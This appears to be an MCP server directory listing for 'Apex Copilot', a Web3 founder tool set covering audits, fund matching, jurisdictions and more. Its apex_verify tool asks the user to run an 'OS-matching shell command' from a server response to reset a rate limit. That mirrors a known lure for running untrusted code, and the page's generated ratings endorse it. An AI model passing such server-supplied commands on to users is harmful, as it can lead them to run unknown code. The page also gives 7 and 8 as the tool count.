The Apex Copilot MCP server exposes 8 tools from Apex Foundation's internal diligence stack to help Web3 founders evaluate and advance their projects:
apex_score — Pre-screen your project across 5 dimensions (team, traction, tokenomics, market, security) for a composite 0–100 score with actionable recommendations. A score of 85+ accelerates Apex engagement.
apex_portfolio_match — Find similar companies among 200+ Apex portfolio projects, with similarity scores, rationale, and founder-applicable lessons per match.
apex_fund_match — Identify Web3 VCs, angels, accelerators, and CEX venture arms most likely to invest, ranked by thesis fit, stage, sector, check size, and lead preference, including warm intro availability.
apex_hackathons — Discover upcoming Web3 hackathons (ETHGlobal, Devfolio, Colosseum, etc.) filtered by chain, prize pool, deadline, and format; optionally search for similar prior builds.
apex_jurisdiction — Get ranked legal jurisdiction recommendations across 28 crypto-native domiciles (UAE ADGM, Singapore, Cayman, BVI, Wyoming DAO LLC, EU MiCA, and more) based on project type, fundraise structure, team location, and licensing needs.
apex_twitter — Audit any X/Twitter handle for a 0–100 social presence score covering reach, engagement, authenticity, and network overlap with Apex-connected funds; detects purchased followers.
apex_code_review — Run a preliminary smart contract security audit (Slither for Solidity, cargo-audit + clippy for Rust) via GitHub repo or pasted source, returning a 0–100 score with prioritized findings including file/line references (capped at 3 audits/day).
apex_verify — Reset the session's rate-limit verification gate by submitting a verification code, allowing the original tool call to be retried.
Provides code review and security audit for Web3 smart contracts from public GitHub repositories.
Click on "Install Server".
Wait a few minutes for the server to deploy. Once ready, it will show a "Started" state.
In the chat, type @ followed by the MCP server name and your instructions, e.g., "@@apexfdn/copilot-mcp what's the best jurisdiction for my crypto startup?"
That's it! The server will respond to your query, and you can continue using it as needed.
Here is a step-by-step guide with screenshots.
Apex Copilot. AI advisor for Web3 founders. Apex Foundation's diligence stack exposed to your AI assistant. 7 tools. 28 crypto-native jurisdictions. 200+ portfolio companies indexed for similarity matching. 0 file contents transmitted.
npx @copilot-mcp/apexGet your token at arena.apexfdn.xyz/dashboard/copilot and paste it when prompted.
Related MCP server: Graph AAVE MCP
Tool | Status | What it does |
| live | 0-100 composite scoring across team, traction, tokenomics, market, security. 85+ shortens the path to a real Apex engagement |
| live | Surfaces Apex portfolio companies most similar to yours with rationale and founder-applicable lessons |
| live | Active VCs ranked by thesis and recent investments. Apex direct-relationship funds surface above the cold list |
| live | Upcoming Web3 hackathons filtered by chain, prize pool, and deadline |
| live | 28 crypto-native domiciles ranked (UAE ADGM, VARA, Cayman, BVI, Singapore, Switzerland, Delaware, Wyoming DAO LLC, and more) |
| live | Audience-quality scan. Real KOLs vs purchased followers, engagement rate, Apex-network fund overlap |
| live | Preliminary security audit. Slither for Solidity, cargo-audit + clippy for Rust. 3 audits/day free |
Tools | 7 specialized Web3 tools |
Jurisdictions | 28 crypto-native domiciles ranked |
Portfolio indexed | 200+ companies |
Code audit coverage | Solidity (Slither) + Rust (cargo-audit, clippy) |
File contents transmitted | 0 |
Pricing | Free for founders |
License | MIT |
This package never transmits the contents of your files. Your assistant extracts short excerpts from your deck, whitepaper, or contract on your machine and sends only those excerpts plus structured metadata.
Apex Foundation is a Web3 accelerator running 200+ portfolio companies across DeFi, RWA, Bitcoin L2s, and more. Apex Copilot exposes the same diligence tools our partners use internally.
MIT
Run a preliminary security audit on a Web3 project's smart contracts. Accepts a public GitHub repo URL (Solidity and/or Rust) or pasted Solidity source. Runs static analysers (Slither, cargo-audit, clippy) in a sandbox plus an AI review pass, returning a 0-100 score across 5 dimensions (security, code quality, dependencies, testing, documentation), prioritized findings with severity and file/line refs, and recommendations. Use this when asked to audit, review, or assess the security of a project's contracts or on-chain code. This is a first-pass triage, not a substitute for a professional audit. Audits run async: for a large repo this tool may return an audit_id and ask you to call it again with that audit_id to fetch the finished report. Limited to 3 submissions per day.
| Name | Required | Description | Default |
|---|---|---|---|
| github_url | No | Public GitHub repository URL to audit. The server clones the repo and analyses Solidity (.sol) and Rust on-chain code. Example: "https://github.com/Uniswap/v2-core". Mutually exclusive with contract_source and audit_id. | |
| contract_source | No | Raw Solidity source code to audit directly, for a quick single-file check without a repo. Mutually exclusive with github_url and audit_id. | |
| audit_id | No | The id of an audit that was previously started. Use this to fetch the result of an audit that was still running when it was first submitted. Mutually exclusive with github_url and contract_source. |
| Name | Required | Description |
|---|---|---|
| ok | Yes | |
| auditId | No | |
| score | No | Overall security score 0-100. |
| findings | No | Security findings discovered in the audit. |
| summary | No |
Does the description disclose side effects, auth requirements, rate limits, or destructive behavior?
Annotations indicate readOnlyHint=false, destructiveHint=false, openWorldHint=true. The description adds behavioral details: runs in sandbox, async for large repos, limited to 3 submissions per day, and returns audit_id. No contradictions with annotations.
Agents need to know what a tool does to the world before calling it. Descriptions should go beyond structured annotations to explain consequences.
Is the description appropriately sized, front-loaded, and free of redundancy?
The description is concise yet comprehensive, front-loading the main purpose and then detailing behavior, usage, and limitations. Every sentence adds necessary information.
Shorter descriptions cost fewer tokens and are easier for agents to parse. Every sentence should earn its place.
Given the tool's complexity, does the description cover enough for an agent to succeed on first attempt?
Given the tool's complexity (multiple input modes, async behavior, output with score and findings), the description covers all key aspects: input types, processing steps, output format, async behavior, and daily limit. Output schema exists, but description explains return values sufficiently.
Complex tools with many parameters or behaviors need more documentation. Simple tools need less. This dimension scales expectations accordingly.
Does the description clarify parameter syntax, constraints, interactions, or defaults beyond what the schema provides?
Schema coverage is 100% with descriptions for all three parameters. The description adds context: mutually exclusive parameters, usage scenarios (repo vs source vs audit_id), and clarifies that github_url clones repo and analyses Solidity/Rust. This adds semantic value beyond the schema.
Input schemas describe structure but not intent. Descriptions should explain non-obvious parameter relationships and valid value ranges.
Does the description clearly state what the tool does and how it differs from similar tools?
The description clearly states the tool runs a preliminary security audit on smart contracts, accepts GitHub URL or pasted Solidity source, runs static analysers and AI review, and returns a score and findings. It is specific and distinguishes from sibling tool names.
Agents choose between tools based on descriptions. A clear purpose with a specific verb and resource helps agents select the right tool.
Does the description explain when to use this tool, when not to, or what alternatives exist?
The description explicitly says 'use this when asked to audit, review, or assess the security of a project's contracts or on-chain code.' It also provides context on when not to use (not a substitute for professional audit) and notes async behavior for large repos.
Agents often have multiple tools that could apply. Explicit usage guidance like "use X instead of Y when Z" prevents misuse.
Find Web3 funds, angels, accelerators, family offices and CEX venture arms most likely to back the founder's project. Returns a ranked list with similarity scores, recent investments, tier, geography, and a one-sentence rationale (whyMatch) for each. Apex partners (every fund in the index) get a small priority boost — we have direct intros to all of them. Use this when a founder asks who to approach for funding, which lead investors fit their stage and sector, or which CEX venture arms could double as listing path. Filters: stage, chain, sector, check size, lookingForLead.
| Name | Required | Description | Default |
|---|---|---|---|
| description | Yes | Project description (40-5000 chars). Embedding-matched against fund profiles which include their recent investments. Specific is better. | |
| stage | No | Optional. Funding stage of the round being raised. | |
| chain | No | Optional. Primary chain (e.g. "Solana", "Ethereum"). Soft filter. | |
| sector | No | Optional. Vertical (e.g. "DeFi", "RWA", "Infrastructure", "Privacy", "Gaming"). Soft filter on fund sector tags. | |
| checkSize | No | Optional. Target check size in USD the founder is raising from this fund. When provided, filters to funds whose published check range covers it. | |
| lookingForLead | No | Optional. When true, prefer funds known to lead rounds (still ranked but lead-frequency factored into ordering). | |
| topN | No | Max number of fund matches to return (1-10, default 5). |
| Name | Required | Description |
|---|---|---|
| ok | Yes | |
| funds | Yes | Ranked funds matching the project, best fit first. |
| summary | No |
Does the description disclose side effects, auth requirements, rate limits, or destructive behavior?
Annotations already declare readOnlyHint, idempotentHint, and non-destructive nature. The description adds that Apex partners get a priority boost with direct intros, and describes the return fields. No contradictions.
Agents need to know what a tool does to the world before calling it. Descriptions should go beyond structured annotations to explain consequences.
Is the description appropriately sized, front-loaded, and free of redundancy?
The description is concise at about 5 sentences, front-loaded with purpose and returns, then special info and usage. It is well-structured without redundancy.
Shorter descriptions cost fewer tokens and are easier for agents to parse. Every sentence should earn its place.
Given the tool's complexity, does the description cover enough for an agent to succeed on first attempt?
Despite having an output schema, the description still lists return fields (similarity scores, recent investments, tier, geography, whyMatch) and explains the priority boost. All parameters are covered with contextual hints. The description is fully complete for the tool's complexity.
Complex tools with many parameters or behaviors need more documentation. Simple tools need less. This dimension scales expectations accordingly.
Does the description clarify parameter syntax, constraints, interactions, or defaults beyond what the schema provides?
Schema coverage is 100%, but the description adds value by explaining that the 'description' field is embedding-matched and that 'specific is better', and clarifies that stage, chain, sector are soft filters. This goes beyond the schema's basic descriptions.
Input schemas describe structure but not intent. Descriptions should explain non-obvious parameter relationships and valid value ranges.
Does the description clearly state what the tool does and how it differs from similar tools?
The description clearly states the tool finds Web3 funds, angels, accelerators, family offices, and CEX venture arms most likely to back a project, returning a ranked list with specific details. It distinguishes from siblings by specifying fund types and filters, and the verb 'Find' combined with the resource is specific.
Agents choose between tools based on descriptions. A clear purpose with a specific verb and resource helps agents select the right tool.
Does the description explain when to use this tool, when not to, or what alternatives exist?
The description explicitly lists three use cases (who to approach, lead investors, CEX venture arms as listing path) and mentions filters. It lacks explicit when-not-to-use but provides clear context for when to invoke.
Agents often have multiple tools that could apply. Explicit usage guidance like "use X instead of Y when Z" prevents misuse.
Find upcoming Web3 hackathons that match a project description, and optionally surface prior hackathon projects that built something similar. Use this when a founder asks where they could enter their project, whether anyone has built a similar idea before (set searchPriorBuilds: true), or to scope timeline / prize-pool / chain fit. Indexed sources include ETHGlobal, Devfolio, Devpost (Web3-filtered), Colosseum, plus a registry of major annual events.
| Name | Required | Description | Default |
|---|---|---|---|
| description | Yes | Project or idea description (40-5000 chars). Embedding-matched against indexed hackathons (and prior projects, if requested). | |
| category | No | Optional category tag (e.g. "DeFi", "RWA", "Infrastructure"). | |
| tags | No | Optional free-form tags (max 20). | |
| chains | No | Filter to hackathons mentioning these chains (case-insensitive). Examples: ["Ethereum"], ["Solana"], ["Base", "Arbitrum"]. | |
| online | No | If true, return only online / virtual hackathons. If false or omitted, return all. | |
| topN | No | Max upcoming hackathons to return (1-10, default 5). | |
| searchPriorBuilds | No | When true, also returns up to 5 past hackathon projects whose descriptions overlap with the founder's idea. Use this to check "has anyone built this before" before committing to a build. |
| Name | Required | Description |
|---|---|---|
| ok | Yes | |
| hackathons | Yes |
Does the description disclose side effects, auth requirements, rate limits, or destructive behavior?
Annotations already declare readOnlyHint=true, destructiveHint=false, idempotentHint=true, and openWorldHint=true. The description adds valuable behavioral context: embedding matching, indexed sources (ETHGlobal, Devfolio, Devpost Web3-filtered, Colosseum, major annual events), and the behavior of searchPriorBuilds returning past projects. No contradictions with annotations.
Agents need to know what a tool does to the world before calling it. Descriptions should go beyond structured annotations to explain consequences.
Is the description appropriately sized, front-loaded, and free of redundancy?
The description is two sentences, front-loading the main action in the first sentence and providing usage and source details in the second. Every sentence earns its place with no wasted words.
Shorter descriptions cost fewer tokens and are easier for agents to parse. Every sentence should earn its place.
Given the tool's complexity, does the description cover enough for an agent to succeed on first attempt?
Given the tool's complexity (7 parameters, 1 required, 100% schema coverage, output schema exists), the description covers purpose, usage, parameters, and data sources comprehensively. It does not need to explain return values because an output schema is present.
Complex tools with many parameters or behaviors need more documentation. Simple tools need less. This dimension scales expectations accordingly.
Does the description clarify parameter syntax, constraints, interactions, or defaults beyond what the schema provides?
Schema description coverage is 100%, so baseline is 3. The description adds meaning beyond schema: it explains that description is 'embedding-matched against indexed hackathons (and prior projects, if requested)', gives examples for chains, and clarifies that searchPriorBuilds checks if someone has built something similar before committing.
Input schemas describe structure but not intent. Descriptions should explain non-obvious parameter relationships and valid value ranges.
Does the description clearly state what the tool does and how it differs from similar tools?
The description clearly states the tool's purpose: finding upcoming Web3 hackathons matching a project description, and optionally surfacing prior hackathon projects. It distinguishes itself from sibling tools (e.g., apex_fund_match, apex_portfolio_match) by focusing specifically on hackathons, making it easy for an agent to select correctly.
Agents choose between tools based on descriptions. A clear purpose with a specific verb and resource helps agents select the right tool.
Does the description explain when to use this tool, when not to, or what alternatives exist?
The description provides explicit usage guidance: 'when a founder asks where they could enter their project, whether anyone has built a similar idea before (set searchPriorBuilds: true), or to scope timeline / prize-pool / chain fit.' It does not explicitly state when not to use it, but the context is clear and adequate for decision-making.
Agents often have multiple tools that could apply. Explicit usage guidance like "use X instead of Y when Z" prevents misuse.
Recommend the best legal jurisdiction for a Web3 project. Covers 28 crypto-native domiciles (UAE ADGM, VARA, RAK DAO, DMCC, Hong Kong, Singapore, Cayman, BVI, Bermuda, Switzerland, Liechtenstein, EU MiCA, Malta, Lithuania, Estonia, Gibraltar, UK, Bahamas, Delaware, Wyoming DAO LLC, Marshall Islands, Mauritius, Seychelles, Isle of Man, Jersey, Japan, Korea, Panama, El Salvador). Returns a ranked verdict with the recommended pick, why it wins for this specific project, the trade-off the founder should accept, and alternates with the conditions under which they should be used. Use this when the founder is incorporating, restructuring, or evaluating a domicile their lawyer recommended.
| Name | Required | Description | Default |
|---|---|---|---|
| projectType | Yes | The category of the project. For projects spanning multiple categories, pick the one driving the licensing or token-issuance decision. | |
| fundraise | Yes | Fundraise structure. equity-only = SAFE/priced round only. token-only = SAFT or token sale only. hybrid = both. | |
| fundraiseUsd | No | Target raise size in USD. Used to weight cost-of-setup against expected runway. | |
| teamResidencyRegion | No | Where the core team is currently resident. | |
| targetMarketRegion | No | Primary target customer or user region. | |
| needsLicensedActivity | Yes | Will the entity directly operate a licensed activity such as custody, brokerage, exchange, regulated stablecoin issuance, or money transmission? If unsure, set false. Most token-only foundations do NOT need this. | |
| institutionalSensitivity | No | How much weight to give Tier 1 LP / CEX / MM comfort with the domicile. high = institutional-led raise, regulated venue listing on roadmap. low = community / retail driven. | |
| taxSensitivity | No | How much weight to give corporate tax rate. | |
| speedToLaunch | No | Timeline urgency. high = need entity in 30 days. low = comfortable with 6-12 month build. | |
| description | No | Optional free-form project description for context. Helps the polish layer write a grounded narrative. Does not affect ranking. |
| Name | Required | Description |
|---|---|---|
| ok | Yes | |
| rankings | Yes | Ranked jurisdictions, best fit first. |
| narrative | No | Short narrative analysis. |
Does the description disclose side effects, auth requirements, rate limits, or destructive behavior?
Annotations already declare readOnlyHint=true and idempotentHint=true. The description adds details about the output structure (ranked verdict, recommendations, trade-offs, alternates) and coverage (28 domiciles), providing useful behavioral context beyond annotations.
Agents need to know what a tool does to the world before calling it. Descriptions should go beyond structured annotations to explain consequences.
Is the description appropriately sized, front-loaded, and free of redundancy?
The description is a single paragraph with a clear structure: purpose, coverage, output, usage guidance. It is concise with no wasted words, and the key purpose is front-loaded.
Shorter descriptions cost fewer tokens and are easier for agents to parse. Every sentence should earn its place.
Given the tool's complexity, does the description cover enough for an agent to succeed on first attempt?
Given the tool's 10 parameters, annotations, and output schema, the description sufficiently explains what the tool does and what to expect. It covers the main outputs and use cases. Minor omission: it does not explain the ranking algorithm, but that is not essential for invocation.
Complex tools with many parameters or behaviors need more documentation. Simple tools need less. This dimension scales expectations accordingly.
Does the description clarify parameter syntax, constraints, interactions, or defaults beyond what the schema provides?
Schema description coverage is 100%, so the schema already explains each parameter clearly. The description adds the list of domiciles and notes that the optional 'description' parameter does not affect ranking. This provides additional context, but per the baseline rule for high schema coverage, a score of 3 is appropriate.
Input schemas describe structure but not intent. Descriptions should explain non-obvious parameter relationships and valid value ranges.
Does the description clearly state what the tool does and how it differs from similar tools?
The description explicitly states the tool's purpose: recommend the best legal jurisdiction for a Web3 project. It lists the 28 domiciles covered and describes the output format. This clearly distinguishes it from siblings like apex_code_review or apex_portfolio_match.
Agents choose between tools based on descriptions. A clear purpose with a specific verb and resource helps agents select the right tool.
Does the description explain when to use this tool, when not to, or what alternatives exist?
The description provides explicit usage guidance: 'Use this when the founder is incorporating, restructuring, or evaluating a domicile their lawyer recommended.' While it doesn't specify when not to use it, the positive use cases are clear and adequately inform the agent.
Agents often have multiple tools that could apply. Explicit usage guidance like "use X instead of Y when Z" prevents misuse.
Find Apex portfolio projects most similar to the founder's idea or company description. Returns a ranked list with similarity scores, a one-sentence rationale (whyMatch) and a short founder-applicable lesson (shortLesson) for each match. Use this to surface which Apex portfolio companies are closest to a project the founder is asking about, identify potential reference customers, or check thesis overlap before pitching Apex.
| Name | Required | Description | Default |
|---|---|---|---|
| description | Yes | The project or idea to match against the Apex portfolio. 40-5000 chars. Concrete and specific produces better matches than vague descriptions. | |
| category | No | Optional category tag for the project (e.g. "DeFi", "RWA", "Infrastructure", "Privacy"). Used as a soft signal when ranking. | |
| tags | No | Optional free-form tags (max 20). Used as soft ranking signals. | |
| stage | No | Optional stage filter. Lets the engine prefer matches at a similar maturity. | |
| tokenStatus | No | Optional token status filter. | |
| topN | No | Max number of matches to return (1-10, default 5). |
| Name | Required | Description |
|---|---|---|
| ok | Yes | |
| matches | Yes | Top portfolio matches, ranked by similarity descending. |
| summary | Yes |
Does the description disclose side effects, auth requirements, rate limits, or destructive behavior?
Annotations indicate readOnly, idempotent, non-destructive. Description adds return details (scores, whyMatch, shortLesson) and hints at matching behavior. No contradictions.
Agents need to know what a tool does to the world before calling it. Descriptions should go beyond structured annotations to explain consequences.
Is the description appropriately sized, front-loaded, and free of redundancy?
Four sentences, each essential. Front-loaded with action, then returns, then use cases. No wasted words.
Shorter descriptions cost fewer tokens and are easier for agents to parse. Every sentence should earn its place.
Given the tool's complexity, does the description cover enough for an agent to succeed on first attempt?
Covers purpose, use cases, and param hints. Output schema exists, so return details are handled. With 6 params and 1 required, description is sufficiently complete.
Complex tools with many parameters or behaviors need more documentation. Simple tools need less. This dimension scales expectations accordingly.
Does the description clarify parameter syntax, constraints, interactions, or defaults beyond what the schema provides?
Schema coverage is 100%, so description adds limited param detail. However, it provides extra context for the `description` parameter (concrete/specific yields better matches), improving semantics beyond schema.
Input schemas describe structure but not intent. Descriptions should explain non-obvious parameter relationships and valid value ranges.
Does the description clearly state what the tool does and how it differs from similar tools?
The description clearly states the tool finds Apex portfolio projects similar to a founder's idea, returns a ranked list with similarity scores, rationale, and lesson. It distinguishes from siblings like apex_fund_match by focusing on portfolio matching.
Agents choose between tools based on descriptions. A clear purpose with a specific verb and resource helps agents select the right tool.
Does the description explain when to use this tool, when not to, or what alternatives exist?
Provides explicit use cases: surface closest projects, identify reference customers, check thesis overlap. Lacks 'when not to use' or alternatives, but context is clear.
Agents often have multiple tools that could apply. Explicit usage guidance like "use X instead of Y when Z" prevents misuse.
Run the Apex Copilot DD pre-screen on a Web3 project. Scores against five dimensions (team 20%, traction 25%, tokenomics 20%, market 20%, security 15%) and returns a breakdown plus actionable recommendations. A score of 85 or above shortens manual due diligence when the project later engages with Apex. The agent should extract short excerpts from the founder's deck or whitepaper locally and pass them as files[].excerpt. Full file contents must NOT be transmitted.
| Name | Required | Description | Default |
|---|---|---|---|
| projectName | Yes | Project name (2-200 chars) | |
| projectUrl | No | Public project URL (optional) | |
| description | No | Project description, ideally including problem, solution, target user, current stage | |
| files | No | File summaries (up to 20). Names + sizes + short excerpts only — no full contents. |
| Name | Required | Description |
|---|---|---|
| ok | Yes | True if scoring completed successfully. |
| scoreOverall | No | Composite 0-100 score across all dimensions. |
| breakdown | No | Sub-scores by dimension, each 0-100. |
| summary | No | Short narrative summary. |
| recommendations | No | Actionable steps to improve the score or de-risk the project. |
Does the description disclose side effects, auth requirements, rate limits, or destructive behavior?
Annotations already indicate read-only and idempotent. The description adds that a score of 85+ shortens manual DD later, and reinforces the excerpt-only rule. No contradictions.
Agents need to know what a tool does to the world before calling it. Descriptions should go beyond structured annotations to explain consequences.
Is the description appropriately sized, front-loaded, and free of redundancy?
Three concise sentences, front-loaded with purpose, and every sentence adds value. No fluff.
Shorter descriptions cost fewer tokens and are easier for agents to parse. Every sentence should earn its place.
Given the tool's complexity, does the description cover enough for an agent to succeed on first attempt?
Given the presence of an output schema, the description adequately explains the tool's behavior and output (breakdown + recommendations). Sufficient for an agent to invoke correctly.
Complex tools with many parameters or behaviors need more documentation. Simple tools need less. This dimension scales expectations accordingly.
Does the description clarify parameter syntax, constraints, interactions, or defaults beyond what the schema provides?
Schema description coverage is 100%, so baseline is 3. The description repeats what the schema already says about files[].excerpt but does not add new semantic meaning beyond the schema.
Input schemas describe structure but not intent. Descriptions should explain non-obvious parameter relationships and valid value ranges.
Does the description clearly state what the tool does and how it differs from similar tools?
The description clearly states the tool runs a DD pre-screen on Web3 projects, scoring against five dimensions, and returns a breakdown plus recommendations. This is specific and distinguishes it from siblings like apex_code_review or apex_fund_match.
Agents choose between tools based on descriptions. A clear purpose with a specific verb and resource helps agents select the right tool.
Does the description explain when to use this tool, when not to, or what alternatives exist?
Provides explicit guidance: extract short excerpts locally and pass as files[].excerpt, with a warning not to transmit full file contents. This tells the agent exactly how to use the tool.
Agents often have multiple tools that could apply. Explicit usage guidance like "use X instead of Y when Z" prevents misuse.
Audit the X (Twitter) account of a Web3 project and produce a 0-100 social presence score. Returns a breakdown across 5 dimensions (reach, activity, engagement, authenticity, discourse), a written summary, specific recommendations, raw metrics (follower count, engagement rate, posting cadence), and any overlap with Apex-network funds. Use this when asked to evaluate a project's social presence, check for inflated metrics, or see which Apex funds have engaged with a project on Twitter.
| Name | Required | Description | Default |
|---|---|---|---|
| handle | Yes | The X/Twitter handle to audit, without the leading "@". Example: "VitalikButerin", "ethereum", "uniswap". | |
| ticker | No | Optional project ticker symbol (with or without $). When provided, the audit also searches for $ticker mentions and incorporates them into the discourse dimension. |
| Name | Required | Description |
|---|---|---|
| ok | Yes | |
| handle | Yes | |
| followerCount | No | |
| audienceQuality | No | |
| realFollowerPercent | No | |
| engagementRate | No | |
| notableMentions | No | |
| apexNetworkOverlap | No |
Does the description disclose side effects, auth requirements, rate limits, or destructive behavior?
Annotations already declare readOnlyHint=true, destructiveHint=false, idempotentHint=true, and openWorldHint=true. The description adds behavioral context by listing the detailed output components (reach, activity, engagement, authenticity, discourse) and mentioning overlap with Apex-network funds, which goes beyond the annotations. However, it does not disclose potential rate limits or authentication requirements.
Agents need to know what a tool does to the world before calling it. Descriptions should go beyond structured annotations to explain consequences.
Is the description appropriately sized, front-loaded, and free of redundancy?
The description consists of three concise sentences. The first sentence states the primary purpose, the second enumerates the output details, and the third provides usage guidance. Every sentence is informative, and there is no redundant or filler content.
Shorter descriptions cost fewer tokens and are easier for agents to parse. Every sentence should earn its place.
Given the tool's complexity, does the description cover enough for an agent to succeed on first attempt?
Given that an output schema exists, the description is not required to detail return values. It already lists the five dimensions, summary, recommendations, raw metrics, and fund overlap, which comprehensively covers what the tool produces. This is complete for an audit tool with a rich output schema.
Complex tools with many parameters or behaviors need more documentation. Simple tools need less. This dimension scales expectations accordingly.
Does the description clarify parameter syntax, constraints, interactions, or defaults beyond what the schema provides?
Schema description coverage is 100%: both parameters (handle, ticker) have clear descriptions in the schema. The description restates the format for handle but does not add meaningful new semantics beyond what the schema already provides. Therefore, value added is minimal, resulting in a baseline score of 3.
Input schemas describe structure but not intent. Descriptions should explain non-obvious parameter relationships and valid value ranges.
Does the description clearly state what the tool does and how it differs from similar tools?
The description clearly states the action 'Audit' and the resource 'X (Twitter) account of a Web3 project'. It specifies the output: a 0-100 score, breakdown across 5 dimensions, summary, recommendations, raw metrics, and fund overlap. This makes the purpose highly specific and distinct from sibling tools like apex_verify or apex_score.
Agents choose between tools based on descriptions. A clear purpose with a specific verb and resource helps agents select the right tool.
Does the description explain when to use this tool, when not to, or what alternatives exist?
The description explicitly states when to use the tool: 'when asked to evaluate a project's social presence, check for inflated metrics, or see which Apex funds have engaged'. It provides clear usage context but does not explicitly exclude other scenarios or name alternative sibling tools for comparison, which would warrant a 5.
Agents often have multiple tools that could apply. Explicit usage guidance like "use X instead of Y when Z" prevents misuse.
Reset the Apex Copilot verification gate after the user has obtained a verification code. Call this once the user has either completed the verify procedure (running the OS-matching shell command shown in the verify_required response, or completing the manual verify panel at arena.apexfdn.xyz/dashboard/copilot) and shared the resulting code. On success the per-token request counter resets and the original tool call that triggered verify_required can be retried. The verify endpoint is gate-immune so this tool will never itself return verify_required.
| Name | Required | Description | Default |
|---|---|---|---|
| code | Yes | The verification code the user obtained through the verify procedure. Submit verbatim — the backend matches against the expected value for the current session. |
| Name | Required | Description |
|---|---|---|
| ok | Yes | True when the code was accepted and the gate counter reset. |
| os | No | When the backend distinguishes per-OS verification codes, the OS that matched the submitted code is returned here. |
| message | No | Optional human-readable status message from the verify endpoint. |
Does the description disclose side effects, auth requirements, rate limits, or destructive behavior?
Annotations provide limited info (readOnlyHint=false, etc.). The description adds critical behavioral details: it resets the per-token request counter, enables retrying the original tool call, and is gate-immune. No contradiction with annotations.
Agents need to know what a tool does to the world before calling it. Descriptions should go beyond structured annotations to explain consequences.
Is the description appropriately sized, front-loaded, and free of redundancy?
Four sentences, efficiently front-loaded with the core purpose. Every sentence adds essential information without redundancy.
Shorter descriptions cost fewer tokens and are easier for agents to parse. Every sentence should earn its place.
Given the tool's complexity, does the description cover enough for an agent to succeed on first attempt?
Given the tool's simplicity (one parameter, straightforward purpose) and the presence of an output schema (not shown but indicated), the description fully covers what an agent needs to know: purpose, usage, parameter handling, and behavioral outcomes.
Complex tools with many parameters or behaviors need more documentation. Simple tools need less. This dimension scales expectations accordingly.
Does the description clarify parameter syntax, constraints, interactions, or defaults beyond what the schema provides?
Schema description coverage is 100% for the single 'code' parameter. The description adds value by instructing to 'submit verbatim' and noting backend matching, which goes beyond the schema description.
Input schemas describe structure but not intent. Descriptions should explain non-obvious parameter relationships and valid value ranges.
Does the description clearly state what the tool does and how it differs from similar tools?
The description clearly states that the tool resets the Apex Copilot verification gate after obtaining a code, with a specific verb 'Reset' and resource 'verification gate'. It is not a tautology and distinguishes from sibling tools by explaining gate-immune behavior.
Agents choose between tools based on descriptions. A clear purpose with a specific verb and resource helps agents select the right tool.
Does the description explain when to use this tool, when not to, or what alternatives exist?
Explicitly tells when to call ('once the user has either completed the verify procedure... and shared the resulting code'), explains the effect (counter resets, retry original call), and states the endpoint is gate-immune, providing clear usage context and exclusions.
Agents often have multiple tools that could apply. Explicit usage guidance like "use X instead of Y when Z" prevents misuse.
Recent tool additions, removals, and schema changes observed during successful MCP inspections. Dates show when Glama detected each change.
v1.0.2apex_code_reviewapex_fund_matchapex_hackathonsapex_jurisdictionapex_portfolio_matchapex_scoreapex_twitterapex_verifyEach tool targets a unique aspect of Web3 project support: security audit, fundraising, hackathons, legal jurisdiction, portfolio matching, due diligence, social media audit, and verification. There is no overlap in functionality.
All tool names follow the pattern 'apex_<noun_or_noun_phrase>' using snake_case, such as apex_code_review, apex_fund_match, apex_hackathons, etc. The naming is uniform and predictable.
With 8 tools, the server is well-scoped for its purpose—covering key areas like audits, fundraising, legal, and scoring without being too sparse or overwhelming.
The server covers core Web3 founder needs: security, fundraising, events, legal, benchmarking, scoring, and social presence. Minor gaps exist (e.g., no direct team vetting beyond score), but overall it is comprehensive.
Unclaimed servers have limited discoverability.
If you are the server author, to access and configure the admin panel.
Crypto transaction firewall and risk tools for MCP agents.
Self-hosted MCP server: 26 deterministic dev, security, and EVM tools.
Crypto MCP with 21 tools for market data, DeFi, analytics, and sentiment. Post-paid USDC billing.
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